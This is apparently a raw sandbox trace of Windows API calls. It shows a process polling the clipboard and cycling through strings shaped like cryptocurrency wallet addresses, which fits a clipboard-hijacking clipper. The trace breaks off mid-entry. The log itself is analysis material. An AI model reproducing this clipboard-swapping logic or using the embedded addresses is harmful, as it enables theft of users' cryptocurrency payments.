cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.010] Sleep (dwMilliseconds=0x64) [0047.117] GetOpenClipboardWindow () returned 0x0 [0047.117] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.117] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.117] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.117] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.117] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.117] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.117] CloseClipboard () returned 1 [0047.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.117] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.118] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.119] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.120] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0047.121] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0047.121] Sleep (dwMilliseconds=0x64) [0047.239] GetOpenClipboardWindow () returned 0x0 [0047.240] OpenClipboard (hWndNewOwner=0x0) returned 1 [0047.240] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0047.240] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0047.240] GlobalSize (hMem=0x6069b8) returned 0x42 [0047.240] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0047.240] GlobalUnlock (hMem=0x6069b8) returned 1 [0047.240] CloseClipboard () returned 1 [0047.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.240] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.241] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0047.242] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 